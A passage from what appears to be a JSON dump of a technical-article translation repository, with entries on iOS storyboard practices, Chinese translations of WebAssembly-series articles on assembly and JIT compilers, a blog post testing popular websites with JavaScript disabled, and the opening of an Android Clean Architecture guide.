intuitive. Auto layout is an inherently visual system. It might be a set of mathematical equations under the hood, but we don’t think like that. We think in terms of “this view needs to be next to this one at all times”. Doing auto layout visually is a natural fit.\n\n![](https://cdn-images-1.medium.com/max/800/1*MS3ALafvQX2fmK-5onF0SQ.png)\n\nAlso, doing auto layout in storyboards gives you some compile-time safety. Most missing or ambiguous constraints are caught during the creation of the layout, not when you open the app. This means less time spent on tracking down ambiguous layouts, or finding out why a view is missing from the screen.\n\n#### How you should do it ####\n\n**One storyboard per UIViewController**\n\n![](https://cdn-images-1.medium.com/max/800/1*5MgjKAMD4kH-3clAiaDT2A.png)\n\nYou wouldn’t write your whole app inside a single UIViewController. The same goes for storyboards. Each view controller deserves its own storyboard. This has several advantages.\n\n1. **Git conflicts occur only if two developers are working on the same UIViewController in a storyboard at the same time.** In my experience, this doesn’t happen often, and it’s not hard to fix when it does.\n\n2. **The storyboard is no longer slow to load, since it only loads one UIViewController.**\n\n3. **You are free to instantiate any UIViewController whichever way you like, just by getting the initial view controller of a storyboard.** Whether you’re using segues or pushing them through code.\n\nWhen I’m creating a new screen, my first step is to create a UIViewController. Once I did that, I create a storyboard **with the same name** as the view controller I just created. This lets you do a pretty cool thing: instantiate UIViewControllers in a type safe way, without hard-coded strings.\n\n    let feed = FeedViewController.instance()\n    // `feed` is of type `FeedViewController`\n\nThis method works by finding a storyboard with the same name as the class name, and getting the initial view controller from that storyboard.\n\nI know that’s how NIBs are used. But the NIB format is outdated, and some features (like creating UITableViewCells in the actual UIViewController’s nib) are not supported in the .xib editor. I have a feeling that the list of unsupported features will only grow, and that’s why I use storyboards over nibs.\n\n**No segues**\n\nSegues seem cool at first, but as soon as you have to transmit data from one screen to the next, it becomes a pain. You have to store the data in some temporary variable somewhere, and then set that value inside the `prepare(for segue:, sender:)` method.\n\n    class UsersViewController: UIViewController, UITableViewDelegate {\n    \n      private enum SegueIdentifier {\n        static let showUserDetails = \"showUserDetails\"\n      }\n    \n      var usernames: [String] = [\"Marin\"]\n    \n      func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) {\n        usernameToSend = usernames[indexPath.row]\n        performSegue(withIdentifier: SegueIdentifier.showUserDetails, sender: nil)\n      }\n    \n    \n      private var usernameToSend: String?\n    \n      override func prepare(for segue: UIStoryboardSegue, sender: Any?) {\n    \n        switch segue.identifier {\n          case SegueIdentifier.showUserDetails?:\n    \n            guard let usernameToSend = usernameToSend else {\n              assertionFailure(\"No username provided!\")\n              return\n            }\n    \n            let destination = segue.destination as! UserDetailViewController\n            destination.username = usernameToSend\n    \n          default:\n            break\n        }     \n      }\n\n    }\n\nThis code has a lot of problems. `prepare(for:sender:)` is not a pure function since it depends on the temporary variable defined above it. Even worse, that variable is optional, and it’s unclear what should happen if it’s nil.\n\nYou need to remember to manually set the *usernameToSend* property, which adds mutable state to our code. You also need to cast the segue’s destination to the type you expect. That’s lot of boilerplate and more than one point of failure.\n\nI would much rather have a function that takes a non-optional value, and pushes the next view controller with that value. Simple and easy.\n\n    class UsersViewController: UIViewController, UITableViewDelegate {\n    \n      var usernames: [String] = [\"Marin\"]\n    \n      func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) {\n        let username = usernames[indexPath.row]\n        showDetail(withUsername: username)\n      }\n    \n      private func showDetail(withUsername username: String) {\n        let detail = UserDetailViewController.instance()\n        detail.username = username\n        navigationController?.pushViewController(detail, animated: true)\n      }\n\n    }\n\nThis code is much safer, more readable and more concise.\n\n**All properties are set in code**\n\nLeave all storyboard values at their defaults. If a label needs to have a different text, or a view needs to have a background color, those things are done in code. This relates especially to all the little checkmarks in the property inspector.\n\n![](https://cdn-images-1.medium.com/max/800/1*QQ6_kcvyx1Z1vHdUYsc77A.png)\n\nThe reason is that you don’t want to hard-code fonts, colors and texts. You can have constants for those, and a single place where they are kept, so you have a single place to change when you need to make a design change.\n\nAlso, scanning the code for view properties is easier than trying to find which checkmarks are checked in the storyboard.\n\nThis means you can build auto layout and views in the storyboard, but [style them in code](https://medium.cobeisfresh.com/composable-type-safe-uiview-styling-with-swift-functions-8be417da947f), which gives you complete freedom to create reusable code and a human-readable change history.\n\n#### What storyboards are for me ####\n\nYou might be reading this article and thinking “This guy says storyboards are great, and then says he doesn’t use half of the features!”, and you’re right!\n\nStoryboards do have problems, and these are the ways I avoid those problems. I find storyboards very useful for what I want to do with them: create the view hierarchy and constraints. Nothing more, nothing less.\n\nMy point is to not disregard a whole technology because you don’t like one aspect of it. You are free to pick and choose which parts you want to use. **It’s not all or nothing.**\n\nSo for those of you who want the benefits or storyboards, but want to minimize the downsides, this is our approach that has worked very well so far. If you have any comments, feel free to leave a response or hit me up on @marinbenc on Twitter.\n\n*If you liked this one, check out some some other articles from my team:*\n\n[![](http://ww3.sinaimg.cn/large/006tNbRwgy1ff10iqm6lxj315a0ai76b.jpg)](https://medium.cobeisfresh.com/how-to-win-a-hackathon-tips-tricks-8cd391e18705)\n\n[![](http://ww4.sinaimg.cn/large/006tNbRwgy1ff10jmsrsej314c0aa0ud.jpg)](https://medium.cobeisfresh.com/accessing-types-from-extensions-in-swift-32ca87ec5190)\n\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/a-crash-course-in-assembly.md",
    "content": "> * 原文地址：[A crash course in assembly](https://hacks.mozilla.org/2017/02/a-crash-course-in-assembly/)\n> * 原文作者：本文已获作者 [Lin Clark](https://code-cartoons.com/@linclark) 授权\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[zhouzihanntu](https://github.com/zhouzihanntu)\n> * 校对者：[Tina92](https://github.com/Tina92)、[zhaochuanxing](https://github.com/zhaochuanxing)\n\n# 汇编快速入门\n\n**本文是 WebAssembly 系列文章的第三部分。如果你还没有阅读过前面的文章，我们建议你 [从头开始](https://github.com/xitu/gold-miner/blob/master/TODO/a-cartoon-intro-to-webassembly.md)。**\n\n理解汇编和编译器如何生成它的有助于你后续理解 WebAssembly 的工作原理，\n\n在 [介绍 JIT 的文章](https://hacks.mozilla.org/2017/02/a-crash-course-in-just-in-time-jit-compilers/)里，我谈到了与机器交流的方式和与外星人通信是相似的。\n\n![A person holding a sign with source code on it, and an alien responding in binary](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/02/03-01-alien03-500x286.png)\n\n我现在真想看看外星人大脑的思考方式——即机器大脑解析和理解通信的机制。\n\n大脑中有一部分专门用来思考（例如做加减或其他逻辑运算），一部分提供短期记忆存储，还有一部分提供长期记忆存储。\n\n这几个不同的部分都有各自的名称：\n\n- 负责思维的部分称为算术逻辑单元 (ALU)。\n- 短期存储由寄存器提供。\n- 长期存储由随机存取存储器 (RAM) 提供。\n\n![A diagram showing the CPU, including ALU and Registers, and RAM](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/02/03-02-computer_architecture09-500x302.png)\n\n机器码中的句子被称为指令。\n\n当一条指令进入大脑时会发生什么？它会被分解成带不同含义的不同部分。\n\n指令分解的方式是特定于当前大脑构造的。\n\n例如，这种结构的大脑可能总是将前六位传送给 ALU。ALU 根据接收到的序列中 1 和 0 的排列，就会明白需要将两个东西加在一起。\n\n这个字段称为操作码(opcode)，它的作用是告诉 ALU 要执行的操作。\n\n![6-bits being taken from a 16-bit instruction and being piped into the ALU](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/02/03-03-computer_architecture12-500x354.png)\n\n接下来大脑会取后续两个三位的字段来确定要相加的两个数。这两个数会存储在寄存器中。\n\n![Two 3-bit chunks being decoded to determine source registers](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/02/03-04-computer_architecture17-500x352.png)\n\n注意这里机器码上方的注释，有助于我们理解这个过程。这就叫做汇编。这段代码称为符号机器码。符号机器码是人类理解机器码的一种方式。\n\n你会发现汇编和这台机器的机器码有很直接的关系。因此不同的机器架构对应有不同的汇编方式。当你遇到使用不同架构的机器时，可能就得按它们自己的方式进行汇编。\n\n因此，我们的翻译对象并不止一个。机器码不止一种语言，有许多不同种类的机器码。就像我们人类会说不同的语言一样，机器也会使用不同的语言。\n\n随着人类和外星人之间的翻译问题解决，你也可以将英语、俄语、普通话等语言转化成外星文A、外星文B了。对编程而言，就是将 C、C++、Rust 等语言转化成 x86、ARM。\n\n如果你想将任意一种高级语言编译成对应任意体系结构的汇编语言，一种方法是创建一整套不同语言到不同汇编的转化器。\n\n![Diagram showing programming languages C, C++, and Rust on the left and assembly languages x86 and ARM on the right, with arrows between every combination](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/02/03-05-langs05-500x308.png)\n\n但这样的做法非常低效。大部分编译器会在中间放置至少一个中间层。编译器接收高级编程语言并将其转化成相对底层的形式，转化结果也不能和机器码一样直接运行。这类形式称为中间表示(IR)。\n\n![Diagram showing an intermediate representation between high level languages and assembly languages, with arrows going from high level programming languages to intermediate representation, and then from intermediate representation to assembly language](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/02/03-06-langs06-500x317.png)\n\n这意味着编译器可以将任意一种高级编程语言翻译成一种 IR 语言。编译器的另一部分将得到的 IR 内容编译成特定于目标架构的语言。\n\n编译器的前端部分将高级编程语言翻译成 IR 语言，再由后端将它们从 IR 语言编译成目标架构的汇编代码。\n\n![Same diagram as above, with labels for front-end and back-end](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/02/03-07-langs09-500x306.png)\n\n## 总结\n\n以上就是汇编的简要说明，以及编译器将高级程序语言转成汇编的过程。在[下一篇文章](https://github.com/xitu/gold-miner/blob/master/TODO/creating-and-working-with-webassembly-modules.md)里，我们将会看到 WebAssembly 是如何实现的。\n"
  },
  {
    "path": "TODO/a-crash-course-in-just-in-time-jit-compilers.md",
    "content": "> * 原文地址：[A crash course in just-in-time (JIT) compilers](https://hacks.mozilla.org/2017/02/a-crash-course-in-just-in-time-jit-compilers/)\n> * 原文作者：本文已获作者 [Lin Clark](https://code-cartoons.com/@linclark) 授权\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[zhouzihanntu](https://github.com/zhouzihanntu)\n> * 校对者：[Tina92](https://github.com/Tina92)、[Germxu](https://github.com/Germxu)\n\n# JIT 编译器快速入门 #\n\n**本文是 WebAssembly 系列文章的第二部分。如果你还没有阅读过前面的文章，我们建议你 [从头开始](https://github.com/xitu/gold-miner/blob/master/TODO/a-cartoon-intro-to-webassembly.md)。**\n\nJavaScript 刚面世时运行速度是很慢的，而 JIT 的出现令其性能快速提升。那么问题来了，JIT 是如何运作的呢？\n\n## JavaScript 在浏览器中的运行机制 ##\n\n作为一名开发者，当你向网页中添加 JavaScript 代码的时候，你有一个目标和一个问题。\n\n目标: 你想要告诉计算机做什么。\n\n问题: 你和计算机使用的是不同的语言。\n\n你使用的是人类语言，而计算机使用的是机器语言。即使你不愿承认，对于计算机来说 JavaScript 甚至其他高级编程语言都是人类语言。这些语言是为人类的认知设计的，而不是机器。\n\n所以 JavaScript 引擎的作用就是将你使用的人类语言转换成机器能够理解的东西。\n\n我认为这就像电影 [降临](https://en.wikipedia.org/wiki/Arrival_(film)) 里人类和外星人试图互相交谈的情节一样。\n\n![A person holding a sign with source code on it, and an alien responding in binary](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/02/02-01-alien03-500x286.png)\n\n在那部电影中，人类和外星人在尝试交流的过程里并不只是做逐字翻译。这两个群体对世界有不同的思考方式，人类和机器也是如此（我将在下一篇文章中详细说明）。\n\n既然这样，那转化是如何发生的呢？\n\n在编程中，我们通常使用解释器和编译器这两种方法将程序代码转化为机器语言。\n\n解释器会在程序运行时对代码进行逐行转义。\n\n![A person standing in front of a whiteboard, translating source code to binary as they go](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/02/02-02-interp02-500x291.png)\n\n相反的是，编译器会提前将代码转义并保存下来，而不是在运行时对代码进行转义。\n\n![A person holding up a page of translated binary](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/02/02-03-compile02-500x297.png)\n\n以上两种转化方式都各有优劣。\n\n### 解释器的优缺点 ###\n\n解释器可以迅速开始工作。在运行代码之前，你不必等待所有的汇编步骤完成，只要开始转义第一行代码就可以运行程序了。\n\n因此，解释器看起来自然很适用于 JavaScript 这类语言。对于 Web 开发者来说，能够快速运行代码相当重要。\n\n这就是各浏览器在初期使用 JavaScript 解释器的原因。\n\n但是当你重复运行同样的代码时，解释器的劣势就显现出来了。举个例子，如果在循环中，你就不得不重复对循环体进行转化。\n\n### 编译器的优缺点 ###\n\n编译器的优缺点恰恰和解释器相反。\n\n使用编译器在启动时会花费多一些时间，因为它必须在启动前完成编译的所有步骤。但是在循环体中的代码运行速度更快，因为它不需要在每次循环时都进行编译。\n\n另一个不同之处在于编译器有更多时间对代码进行查看和编辑，来让程序运行得更快。这些编辑我们称为优化。\n\n解释器在程序运行时工作，因此它无法在转义过程中花费大量时间来确定这些优化。\n\n## 两全其美的解决办法 —— JIT 编译器 ##\n\n为了解决解释器在循环时重复编译导致的低效问题，浏览器开始将编译器混合进来。\n\n不同浏览器的实现方式稍有不同，但基本思路是一致的。它们向 JavaScript 引擎添加了一个新的部件，我们称之为监视器（又名分析器）。监视器会在代码运行时监视并记录下代码的运行次数和使用到的类型。\n\n起初，监视器只是通过解释器执行所有操作。\n\n![Monitor watching code execution and signaling that code should be interpreted](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/02/02-04-jit02-500x365.png)\n\n如果一段代码运行了几次，这段代码被称为 warm code；当这段代码运行了很多次时，它就会被称为 hot code。\n\n### 基线编译器 ###\n\n当一个函数运行了数次时，JIT 会将该函数发送给编译器编译，然后把编译结果保存下来。\n\n![Monitor sees function is called multiple times, signals that it should go to the baseline compiler to have a stub created](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/02/02-05-jit06-500x368.png)\n\n该函数的每一行都被编译成一个“存根”，存根以行号和变量类型为索引（这很重要，我后面会解释）。如果监视器监测到程序再次使用相同类型的变量运行这段代码，它将直接抽取出对应代码的编译后版本。\n\n这有助于加快程序的运行速度，但是像我说的，编译器可以做得更多。只要花费一些时间，它能够确定最高效的执行方式，即优化。\n\n基线编译器可以完成一些优化（我会在后续给出示例）。不过，为了不阻拦进程过久，它并不愿意在优化上花费太多时间。\n\n然而，如果这段代码运行次数实在太多，那就值得花费额外的时间对它做进一步优化。\n\n### 优化编译器 ###\n\n当一段代码运行的频率非常高时，监视器会把它发送给优化编译器。然后得到另一个运行速度更快的函数版本并保存下来。\n\n![Monitor sees function is called even more times, signals that it should be fully optimized](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/02/02-06-jit09-500x365.png)\n\n为了得到运行速度更快的代码版本，优化编译器会做一些假设。\n\n举例来说，如果它可以假设由特定构造函数创建的所有对象结构相同，即所有对象的属性名相同，并且这些属性的添加顺序相同，然后它就可以基于这个进行优化。\n\n优化编译器会依据监视器监测代码运行时收集到的信息做出判断。如果在之前通过的循环中有一个值总是 true，它便假定这个值在后续的循环中也是 true。\n\n但在 JavaScript 中没有任何情况是可以保证的。你可能会先得到 99 个结构相同的对象，但第 100 个就有可能缺少一个属性。\n\n所以编译后的代码在运行前需要检查假设是否有效。如果有效，编译后的代码即运行。但如果无效，JIT 就认为它做了错误的假设并销毁对应的优化后代码。\n\n![Monitor sees that types don't match expectations, and signals to go back to interpreter. Optimizer throws out optimized code](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/02/02-07-jit11-500x361.png)\n\n进程会回退到解释器或基线编译器编译的版本。这个过程被称为去优化（或应急机制）。\n\n通常优化编译器会加快代码运行速度，但有时它们也会导致意外的性能问题。如果你的代码被不断的优化和去优化，运行速度会比基线编译版本更慢。\n\n为了防止这种情况发生，许多浏览器添加了限制，以便在“优化-去优化”这类循环发生时打破循环。例如，当 JIT 尝试了 10 次优化仍未成功时，就会停止当前优化。\n\n### 优化示例: 类型专门化 ###\n\n优化的类型有很多，但我只演示其中一种以便你理解优化是如何发生的。优化编译器最大的成功之一来自于类型专门化。\n\nJavaScript 使用的动态类型系统在运行时需要多做一些额外的工作。例如下面这段代码：\n\n```\nfunction arraySum(arr) {\n  var sum = 0;\n  for (var i = 0; i < arr.length; i++) {\n    sum += arr[i];\n  }\n}\n\n```\n\n执行循环中的 `+=` 一步似乎很简单。看起来你可以一步就得到计算结果，但由于 JavaScript 的动态类型，处理它所需要的步骤比你想象的多。\n\n假定 `arr` 是一个存放 100 个整数的数组。在代码执行几次后，基线编译器将为函数中的每个操作创建一个存根。`sum += arr[i]` 将会有一个把 `+=` 依据整数加法处理的存根。\n\n然而我们并不能保证 `sum` 和 `arr[i]` 一定是整数。因为在 JavaScript 中数据类型是动态的，有可能在下一次循环中的 `arr[i]` 是一个字符串。整数加法和字符串拼接是两个完全不同的操作，因此也会编译成非常不同的机器码。\n\nJIT 处理这种情况的方法是编译多个基线存根。一段代码如果是单态的（即总被同一种类型调用），将得到一个存根。如果是多态的（即被不同类型调用），那么它将得到分别对应各类型组合操作的存根。\n\n这意味着 JIT 在确定存根前要问许多问题。\n\n![Decision tree showing 4 type checks](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/02/02-08-decision_tree01-500x257.png)\n\n在基线编译器中，由于每一行代码都有各自对应的存根，每次代码运行时，JIT 要不断检查该行代码的操作类型。因此在每次循环时，JIT 都要询问相同的问题。\n\n![Code looping with JIT asking what types are being used in each loop](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/02/02-09-jit_loop02-500x323.png)\n\n如果 JIT 不需要重复这些检查，代码运行速度会加快很多。这就是优化编译器的工作之一了。\n\n在优化编译器中，整个函数会被一起编译。所以类型检查可以在循环开始前完成。\n\n![Code looping with questions being asked ahead of time](https://2r4s9p1yi1fa2jd7j43zph8r-wpengine.netdna-ssl.com/files/2017/02/02-10-jit_loop02-500x318.png)\n\n一些 JIT 编译器做了进一步优化。例如，在 Firefox 中为仅包含整数的数组设立了一个特殊分类。如果 `arr` 是在这个分类下的数组，JIT 就不需要检查 `arr[i]` 是否是整数了。这意味着 JIT 可以在进入循环前完成所有类型检查。\n\n## 总结 ##\n\n简而言之，这就是 JIT。它通过监控代码运行确定高频代码，并进行优化，加快了 JavaScript 的运行速度，因此令大多数 JavaScript 应用程序的性能提高了数倍。\n\n即使有了这些改进，JavaScript 的性能仍是不可预测的。为了加速代码运行，JIT 在运行时增加了以下开销：\n\n- 优化和去优化\n- 用于存储监视器纪录和应急回退时的恢复信息的内存\n- 用于存储函数的基线和优化版本的内存\n\n这里还有改进空间：除去以上的开销，提高性能的可预测性。这是 WebAssembly 实现的工作之一。\n\n在[下一篇文章](https://github.com/xitu/gold-miner/blob/master/TODO/a-crash-course-in-assembly.md)中，我将对汇编做更多说明并解释编译器与它是如何工作的。\n"
  },
  {
    "path": "TODO/a-day-without-javascript.md",
    "content": "> * 原文地址：[A day without Javascript](https://sonniesedge.co.uk/blog/a-day-without-javascript)\n> * 原文作者：[A day without Javascript](https://sonniesedge.co.uk/about/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：\n> * 校对者：\n\n# A day without Javascript\n\nAs I write this it’s raining outside, and I’m trying to avoid having to go out into the murk and watch the Germans conduct their annual [diversity maneuvers](http://www.karneval-berlin.de/en/). I’ve therefore decided to pass my time by doing the one thing that counts as a religious crime in web dev land: I’m going to turn off javascript in my browser and see what sites work and what sites don’t.\n\nI know, I know, my life is simply too exciting.\n\nNow, I know that because I write a lot about the universal web and progressive enhancement, people assume that I must hate javascript.\n\nThis would be an incorrect assumption.\n\nI simply hate people relying on brittle client-side javascript when there are other alternatives. In the same way as I wouldn’t rely on some unknown minicab firm as the sole way of getting me to the airport for a wedding flight, I don’t like relying on a non-guaranteed technology as the sole way of delivering a web app.\n\nFor me it’s a matter of elegance and simplicity over unnecessary complexity.\n\n## Too many tabs\n\nSo, for my dreary grey day experiment I restricted myself to just the things open in my browser tabs. For normal people this might be two or three sites.\n\nNot for me. I have approximately 17 shitmillion tabs open, because I Have a Problem With Tabs.\n\nNo seriously. I can never just close a tab. I’ve tried things like [One Tab](https://www.one-tab.com/) but I just can’t get down to less than 30 in any one window (“I’ll just save that tab for later” I think, each and ever time). Let’s just agree that I need some kind of therapy, and we’ll all be able to move on.\n\nAnyway, there’s nothing fancy to this experiment. It was a case of turning off javascript in the browser and reloading a site, nothing more. To quickly disable the browser’s JS with one click I used Chrome and the [Toggle Javascript](https://chrome.google.com/webstore/detail/toggle-javascript/cidlcjdalomndpeagkjpnefhljffbnlo) extension - available, ironically enough, via the javascript-only Chrome web store.\n\nOh, and for you, sweet reader, I opened these tabs in new windows, so you don’t have to see the pain of 50 tabs open at once.\n\n## First impressions\n\nSo how was it? Well, with just a few minutes of sans-javascript life under my belt, my first impression was “Holy shit, things are *fast* without javascript”. There’s no ads. There’s no video loading at random times. There’s no sudden interrupts by “DO YOU WANT TO FUCKING SUBSCRIBE?” modals.\n\nIf this were the only manifestation of turning off javascript, I’d do this for the rest of time. However, a lot of things don’t work. Navigation is the most common failure mode. Hamburger menus fail to internally link to a nav section (come on, that’s an easy one kids). Forms die when javascript is taken away (point the form to an endpoint that accepts GET/POST queries ffs). Above the fold *images* fail to load (you do know they’re streaming by default, yes?).\n\n## The sites\n\nLet’s get to it. I think I’ve got a pretty representative list of sites in my open tabs (perhaps due to the aforementioned Tab Problem). Howl at me on Twitter if you feel I missed anything particularly important.\n\n### Feedly\n\n![](https://sonniesedge.co.uk/images/posts/a-day-without-javascript/feedly.png)\n\nMy very first attempt at sans-JS and I get nothing but a blank white page. Fuck you feedly.\n\n*sighs, runs hands over face, shouts after Feedly*\n\nWait no, Feedly, I’m sorry. I didn’t mean that. It was the coffee talking. Can we talk this over? I like using you to keep up with blog posts.\n\nBut why do you work like this, Feedly? Your devs *could* offer the site in basic HTML and use advanced features such as, er, anchor links, to move to other articles. Then when JS is available, new content can be loaded via JS.\n\n*Verdict:* Relationship counselling.\n\n### Twitter\n\n![](https://sonniesedge.co.uk/images/posts/a-day-without-javascript/twitter.png)\n\nTwitter shows the normal website (with full content) for a brief moment, then redirects to [mobile.twitter.com](https://mobile.twitter.com) (the old one, not the spanky new React one, of course). This is really frustrating, as the full site would still be great to load without javascript. It could use the same navigation method as the mobile site, where it sets a query parameter to the URL “?max_id=871333359884148737” that dictates what is the latest tweet in your timeline to show. Simple and elegant.\n\n*Verdict:* Could try harder.\n\n### Google Chrome\n\n![](https://sonniesedge.co.uk/images/posts/a-day-without-javascript/chrome_download.png)\n\nThe Google Chrome download page just fails completely, with no notice, only a blank white page.\n\n*Sigh*.\n\n*Verdict:* No Chrome for you, you dirty javascriptophobe!\n\n### Youtube\n\n![](https://sonniesedge.co.uk/images/posts/a-day-without-javascript/youtube.png)\n\nYoutube really really wants to load. Really, reallllllly, wants to. But then it fucks things up at the last nanosecond and farts out, showing no video, no preview icons, and no comments (that last one is perhaps a positive).\n\nEven if the site is doing some funky blob loading of video media, it wouldn’t be hard to put a basic version on the page initially (with `preload=\"none\"`), and then have it upgrade when JS kicks in.\n\n*Verdict:* Can’t watch My Drunk Kitchen or Superwoman. :( :( :(\n\n### 24 ways\n\n![](https://sonniesedge.co.uk/images/posts/a-day-without-javascript/24ways.png)\n\nI’ve had this open in my tabs for the last 6 months, meaning to read it. Look, I’M SORRY, okay? But holy fuck, this site works great without javascript. All the animations are there (because they’re CSS) and the slide in navigation works (because it internally links to the static version of the menu at the bottom of the page).\n\n*Verdict:* Class act. Smoooooth. Jazzz.\n\n### Netflix\n\n![](https://sonniesedge.co.uk/images/posts/a-day-without-javascript/netflix.png)\n\nI’m using netflix to try and indoctrinate my girlfriend into watching Star Trek. So far she’s not convinced, mainly because “Tasha *slept with Mr Data?* But it’d be like fucking your microwave”.\n\nAnyway, Netflix doesn’t work. Well, it loads the header, if you want to count that. I get why they don’t do things with HTML5 - DRMing all yo shit needs javascript. But still :(.\n\n*Verdict:* JavaScript-only is the New Black\n\n### NYtimes\n\n![](https://sonniesedge.co.uk/images/posts/a-day-without-javascript/nytimes_with_js.png)\n\n![](https://sonniesedge.co.uk/images/posts/a-day-without-javascript/nytimes_sans_js.png)\n\nNot sure why this was in my tab list, but tbh I’ve found rotting tabs from 2015 in there, so I’m not surprised.\n\nThe NY Times site loads in *561ms* and 957kb without javascript. Holy crap, that’s what it should be like normally. For reference it took 12000ms (12seconds) and 4000kb (4mb) to load *with* javascript. Oh, and as a bonus, you get a screenful of adverts.\n\nA lot of images are lazy loaded, and so don’t work, getting replaced with funky loading icons. But hey ho, I can still read the stories.\n\n*Verdict:* Failing… to *not* work. Sad!\n\n### BBC News\n\n![](https://sonniesedge.co.uk/images/posts/a-day-without-javascript/bbc_news.png)\n\nIt’s the day after the latest London terrorism attacks, and so I’ve got this open, just to see how the media intensifies and aids every terrorist action. The BBC is the inventor and poster-child for progressive enhancement via Cutting the Mustard, and it doesn’t disappoint. The non-CTM site works fully and while it doesn’t *look* the same as the full desktop site (it’s mobile-first and so is pretty much the mobile version), it still *works*.\n\n*Verdict:* Colman’s Mustard\n\n### Google search\n\n![](https://sonniesedge.co.uk/images/posts/a-day-without-javascript/google.png)\n\nWithout JS, Google search still does what it’s best at: searching.\n\nOkay, there’s no autocomplete, the layout reverts to the early 2000s again, and image search is shockingly bad looking. But, in the best progressive enhancement manner, you can still perform your core tasks.\n\n*Verdict:* Solid.\n\n### Wikipedia\n\n![](https://sonniesedge.co.uk/images/posts/a-day-without-javascript/wikipedia.png)\n\nLike a good friend, Wikipedia never disappoints. The site is indistinguishable from the JS version. Keep being beautiful, Wikipedia.\n\n*Verdict:* BFFs.\n\n### Amazon\n\n![](https://sonniesedge.co.uk/images/posts/a-day-without-javascript/amazon.png)\n\nThe site looks a little… *off* without JS (the myriad accordions vomit their content over the page when JS isn’t there to keep them under control). But the entire site works! You can still search, you still get recommendations. You can still add items to your basket, and you can still proceed to the checkout.\n\n*Verdict:* Amazonian warrior.\n\n### Google Maps\n\n![](https://sonniesedge.co.uk/images/posts/a-day-without-javascript/google_maps.png)\n\nDiscounting Gmail, Google Maps is perhaps one of the most heavily used Single Page Applications out there. As such I expected some kind of fallback, like Gmail provides, even if it wasn’t true progressive enhancement. Maybe some kind of Streetmap style tile-by-tile navigation fallback?\n\nBut it failed completely.\n\n*Verdict:* Cartography catastrophe.\n\n## Overall verdict\n\nThis has made me appreciate the number of large sites that make the effort to build robust sites that work for everybody. But even on those sites that are progressively enhanced, it’s a sad indictment of things that they can be so slow on the multi-core hyperpowerful Mac that I use every day, but immediately become fast when JavaScript is disabled.\n\nIt’s even sadder when using a typical site and you realise how much Javascript it downloads. I now know why my 1GB mobile data allowance keeps burning out at least…\n\nI maintain that it’s perfectly possible to use the web without javascript, especially on those sites that are considerate to the diversity of devices and users out there. And if I want to browse the web without javascript, well fuck, that’s my choice as a user. This is the web, not the Javascript App Store, and we should be making sure that things work on even the most basic device.\n\nI think I’m going to be turning off javascript more, just on principle.\n\nHaters, please tweet at me as you feel fit.\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/a-detailed-guide-on-developing-android-apps-using-the-clean-architecture-pattern.md",
    "content": ">* 原文链接 : [A detailed guide on developing Android apps using the Clean Architecture pattern](https://medium.com/@dmilicic/a-detailed-guide-on-developing-android-apps-using-the-clean-architecture-pattern-d38d71e94029#.7cz5w0dp3)\n* 原文作者 : [Dario Miličić](https://medium.com/@dmilicic)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : \n* 校对者:\n\n\n\nEver since I started developing Android apps there was this feeling that it could be done better. I’ve seen a lot of bad software design decisions during my career, some of which were my own — and Android complexity mixed with bad software design is a recipe for disaster. But it is important to learn from your mistakes and keep improving. After a lot of searching for a better way to develop apps I encountered the **Clean Architecture**. After applying it to Android, with some refinement and inspiration from similar projects, I decided that this approach is practical enough and worth sharing.\n\nThe **goal** of this article is to provide a step-by-step guide for developing Android apps in a Clean way. This whole approach is how I’ve recently been building my apps for clients with great success.\n\n## What is Clean Architecture?\n\nI will not go into too much detail here as there are articles that explain it much better than I can. But the next paragraph provides the **crux** of what you need to know to understand Clean.\n\nGenerally 